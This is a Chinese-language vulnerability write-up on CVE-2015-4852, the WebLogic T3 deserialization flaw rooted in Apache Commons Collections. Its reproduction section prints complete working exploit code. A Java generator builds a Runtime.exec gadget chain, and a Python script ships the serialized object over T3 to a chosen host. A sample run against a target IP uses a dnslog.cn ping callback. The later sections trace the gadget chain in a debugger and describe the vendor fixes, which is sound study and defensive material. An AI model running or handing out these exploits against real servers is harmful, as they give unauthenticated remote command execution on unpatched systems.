1.漏洞本质
该漏洞本质上是由Apache Commons Collections导致的反序列化漏洞,与weblogic实际无关,只是weblogic组件中正好用到了该库,且路径为\modules\com.bea.core.apache.commons.collections_3.2.0.jar。
2.漏洞描述
官方描述
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers to execute arbitrary commands via a crafted serialized Java object in T3 protocol traffic to TCP port 7001, related to oracle_common/modules/com.bea.core.apache.commons.collections.jar. NOTE: the scope of this CVE is limited to the WebLogic Server product.
对应中文
Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0 和 12.2.1.0 中的 WLS 安全组件允许远程攻击者通过 T3 协议流量中精心设计的序列化 Java 对象执行任意命令,该对象与 oracle_common/modules/com.bea.core.apache.commons.collections.jar。注意:此 CVE 的范围仅限于 WebLogic Server 产品。
可知信息
漏洞影响的版本为:Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0 和 12.2.1.0
漏洞类型为:反序列化漏洞
漏洞代码发生位置:oracle_common/modules/com.bea.core.apache.commons.collections.jar
3.漏洞复现
漏洞exp
漏洞exp一:(需配合ysoserial工具生成payload,具体命令见代码注释)
1 | #!/usr/bin/env python |
- 漏洞exp二:(Java代码生成payload,T3协议发送payload到目标服务器)
生成payload的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cve_2015_4852 {
public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
String cmd = "ping xys3si.dnslog.cn";
Transformer[] tarray = new Transformer[]
{
new ConstantTransformer( Runtime.class ),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c", cmd}})
};
Transformer tchain = new ChainedTransformer( tarray );
Map normalMap = new HashMap();
Map lazyMap = LazyMap.decorate( normalMap, tchain );
Class clazz = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler" );
Constructor cons = clazz.getDeclaredConstructor( Class.class, Map.class );
cons.setAccessible( true );
InvocationHandler ih = ( InvocationHandler )cons.newInstance( Override.class, lazyMap );
Map mapProxy = ( Map ) Proxy.newProxyInstance
(
Map.class.getClassLoader(),
new Class[] { Map.class },
ih
);
Object obj = cons.newInstance( Override.class, mapProxy );
FileOutputStream fileOutputStream = new FileOutputStream("CVE_2015_4852.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
}发送payload到目标服务器代码(有时候可能需要修改headers中的版本才能发送成功)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38#!/usr/bin/python
import socket
import os
import sys
import struct
if len(sys.argv) < 3:
print 'Usage: python %s <host> <port> </path/to/payload>' % os.path.basename(sys.argv[0])
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
server_address = (sys.argv[1], int(sys.argv[2]))
print '[+] Connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[3],'rb').read()
payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
payload=payload+payloadObj
payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
# adjust header for appropriate message length
payload=struct.pack('>I',len(payload)) + payload[4:]
print '[+] Sending payload...'
sock.send(payload)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data复现结果
以漏洞exp2为例,利用漏洞向目标服务器发送payload后的执行结果如下图所示。
1
2payload执行的命令为ping xys3si.dnslog.cn
python2 weblogic_t3.py 192.168.22.137 7001 CVE_2015_4852.ser
4.原理分析
4.1 分析sink触发点
接下来跟进代码对漏洞进行分析,因为我们已经定位该漏洞所在的jar包,因此直接将该jar包添加为库,发送exp启用远程调试进行分析。
首先分析sink点函数,在Collections
组件中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer
,这个类实现了:java.io.Serializable
接口。
InvokerTransformer
类同时也实现了org.apache.commons.collections.Transformer
接口,Transformer
提供了一个对象转换方法:transform
,主要用于将输入对象转换为输出对象。InvokerTransformer
类的主要作用就是利用Java反射机制来创建类实例。
1 | //input为我们可控的类,payload中传入了java.lang.Runtime |
由上可知,我们可以通过InvokerTransformer
的构造方法,传入我们想要的某个类的方法名,参数类型,具体的参数值,从而执行相应的方法,构造函数如下:
1 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { |
因为我们要执行的方法属于java.lang.Runtime类对象,因此首先需要传入的便是java.lang.Runtime这个类对象,ConstantTransformer
类是Transformer
接口的实现类,其中ConstantTransformer
类重写了接口类的transformer
方法
对应payload为:
1 | new ConstantTransformer( Runtime.class ) |
通过ConstantTransformer
类的transform
方法获取一个对象类型,如transform
参数是Runtime.class
时,调用ConstantTransformer
类的transform
方法,执行后返回java.lang.Runtime
类
org.apache.commons.collections.functors.ChainedTransformer
类实现了Transformer
链式调用,我们只需要传入一个Transformer
数组ChainedTransformer
就可以实现依次的去调用每一个Transformer
的transform
方法。
对应payload为:
1 | Transformer[] tarray = new Transformer[] |
4.2 ChainedTransformer
的transform
下断点分析
因此,第一次我们在transform
下断点,跟进代码流程如下:
下一步,input为entrySet的值,返回的object的值是java.lang.Runtime
下一步,i的值+1,Object为java.lang.Runtime,进入InvokerTransformer
的transform
方法,判断input是否为空,此处不为空,所以进入else所在语句,下一步;
方法名getMethod,传入参数类型为String.class, Class[].class,通过method.invoke方法,相当于执行下面的语句
1 | method = java.lang.Runtime.getMethod("getMethod",new Class[]{String.class, Class[].class}) |
继续跟进,i的值为2,object的值已经变成了java.lang.Runtime.getRuntime()
相当于执行了下面的语句
1 | method = java.lang.Runtime.getRuntime().getMethod("invoke",new Class[]{Object.class, Object[].class}) |
经过上面的步骤就获取了Runtime的实例,同时i=3
最后一次,获取exec方法,相当于执行下面的命令
1 | method = runtime.getMethod("exec",new Class[]{String[].class}) |
最后,返回一个运行中的进程,执行了传入命令
4.3 分析如何触发sink调用链
现在我们已经使用InvokerTransformer
创建了一个含有恶意调用链的Transformer
类的对象,紧接着我们应该思考如何才能够将调用链窜起来并执行,即如何通过某个类的某个方法触发transform()
方法。通过分析代码发现调用transform()
方法有以下两个类:
- TransformedMap(setValue ==> checkSetValue ==> valueTransformer.transform(value),请自行跟进代码)
- LazyMap
限于篇幅内容,由于commons collections的触发方法多种多样,感兴趣的读者可以研究ysoserial工具源码进行学习。本文主要从所使用的payload出发,以LazyMap为例进行讲解。
LazyMap实现了Map与Serializable接口,由于需要触发的是transform方法,因此需要找到一个函数能够调用transform方法,查看源代码,发现LazyMap的get方法会调用transform方法,且调用者是this.factory(正好是Transformer对象)
跟进factory,可以发现,该变量是final修饰的Transformer变量,且可以通过调用public static Map decorate(Map map, Transformer factory)返回一个LazyMap的实例,为factory赋值为ChainedTransformer的对象,从而间接触发命令执行
4.4 LazyMap的get方法下断点调试
调用ChainedTransformer的transform方法执行,执行过程同4.2,在此不再阐述。
4.5 分析source入口函数
经过上面的分析,我们已经知道除了source入口之外的调用链:
1 | ->LazyMap.get() |
那么,现在剩下的工作就是找一个source入口函数,使得当服务器端进行反序列化,即执行readObject()函数的时候能够自动触发整个调用链,而不是我们自己手动触发。
那么需要找一个什么样的类呢,这里主要从LazyMap的get方法出发去找,为了能够调用LazyMap.get方法,首先这个类必定有一个属性是Map类型的,且这个类至少也是实现了Serializable类的。
经过一番寻找,找到了AnnotationInvocationHandler
,该类是java运行库中的一个类,并且包含一个可控的Map
对象属性memberValues
,其readObject
方法有自动修改自身Map属性的操作。因此,我们可以尝试找该属性调用get方法的地方,这样一旦将memberValues
设置为LazyMap的实例,就会触发LazyMap的get方法,进一步触发命令执行
可以看到AnnotationInvocationHandler
实现了InvocationHandler
接口,其中的invoke方法会触发get方法的执行,因此,此时就会自然而然想到如何执行invoke方法呢?那就不得不说一下动态代理技术。
动态代理比较常见的用处就是:一方面是代为执行具体类实例的方法,另一方面则在不修改类的源码的情况下,通过代理的方式为类的方法提供更多的功能。
一个简单的demo如下:(示例代码出处:https://www.freebuf.com/articles/web/214096.html)
Work接口需要实现work函数
1 | public interface Work { |
Teacher类实现了Work接口
1 | public class Teacher implements Work{ |
WorkHandler
用来处理被代理对象,它必须继承InvocationHandler
接口,并实现invoke方法
1 | import java.lang.reflect.InvocationHandler; |
在Test类中通过Proxy.newProxyInstance
创建动态代理对象proxy,这样当我们调用代理对象proxy的work方法的时候,实际上调用的是WorkHandler
的invoke方法。
1 | import java.lang.reflect.InvocationHandler; |
看一下输出结果,我们再没有改变Teacher类的前提下通过代理Work接口,实现了work函数调用的重写。
1 | before invoke。。。 |
综上所述:Proxy.newProxyInstance(people.getClass().getClassLoader(), people.getClass().getInterfaces(), handler);
则是实现创建了一个接口的动态代理类及动态代理类对象,并指明了三个参数:用哪个类加载器加载这个类,该动态代理类实现了该接口所有方法,当调用接口中实现的任意方法时由谁去处理被代理对象(invoke方法);
针对上例,则是创建了一个代理了Work接口的动态代理类,当动态代理类对象proxy调用所代理接口Work中的任意方法时都会进入WorkHandler
的invoke方法去执行被代理对象的方法及其他相应操作,这里被代理的实际对象为Teacher,因此会执行Teacher的work方法。
在java的java.lang.reflect
包下提供了一个Proxy
类和一个InvocationHandler
接口,通过这个类和这个接口可以生成JDK动态代理类和动态代理对象。生成动态代理类及对象的方法如下:(代码中涉及的Person接口类仅仅是一个示例)。
1 | //创建一个与代理对象相关联的InvocationHandler |
有关动态代理与静态代理更多的内容介绍,请参考:java动态代理实现与原理详细分析,本文不做具体阐述。
言归正传,回到我们所使用的payload,其生成的代理类的代码如下:
因为sun.reflect.annotation.AnnotationInvocationHandler
是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler
类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler
对象:
1 | //通过Java反射获取AnnotationInvocationHandler类对象 |
这样当执行反序列化操作的时候,会自动调用this.memberValues.entrySet()
方法,如下图所示
这样,由于是动态代理类,当调用mapProxy的entrySet方法时,会自动进入AnnotationInvocationHandler的invoke方法,进行判断
从而执行lazyMap的get方法
至此,整个链全部打通,完整的调用链如下:
1 | Gadget chain: |
4.6 AnnotationInvocationHandler.readObject()下断点调试
在source入口点下断点远程调试如下:
F5进入,下一步
开始调用mapProxy的entrySet方法
下一步进入invoke方法,这里var2=java.util.Set java.util.Map.entrySet(),var1是mapProxy,
因此var4的值不会进入if,会进入else
进入else后再次判断var4的值,则进入Object var6所在代码
此时,因为this.memberValues被设置为lazyMap,因此触发了lazyMap的get方法,相当于执行了lazyMap.get(“entrySet”)
从而进入了get方法
判断是否包含这个key,进入59行
执行transform,相当于执行ChainedTransform.transform(“entrySet”)
最终调用命令执行
此时已经完成命令执行
至此,整个执行过程和自动过程分析完成。
5.漏洞修复
该部分摘自https://blog.csdn.net/simonnews/article/details/105765017,
ApacheCommons Collections组件修复:ApacheCommons Collections已经在3.2.2版本中做了修复,对这些不安全的Java类的序列化支持增加开关,默认为关闭状态,涉及的类包括CloneTransformer, ForClosure, InstantiateFactiory,InstantiateTransformer,InvokerTransformer,PrototypeCloneFactory,PrototypeSerialiZationFactory,WhileClosure。
weblogic修复补丁:CVE-2015-4852补丁主要应用在三个位置上,主要是进行黑名单绕过
6.参考文献
- https://blog.csdn.net/simonnews/article/details/105765017
- https://www.freebuf.com/articles/web/214096.html
- https://www.cnblogs.com/0x7e/p/14529949.html
- https://www.chabug.org/audit/1151.html
- https://www.cnblogs.com/gonjan-blog/p/6685611.html
- https://functfan.gitbook.io/gewuzz/java-an-quan/fan-xu-lie-hua-lou-dong/ysoserial/java-fan-xu-lie-hua-zhi-commonscollections
- https://badcode.cc/2018/03/15/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommons-Collections/
- https://zhuanlan.zhihu.com/p/29804811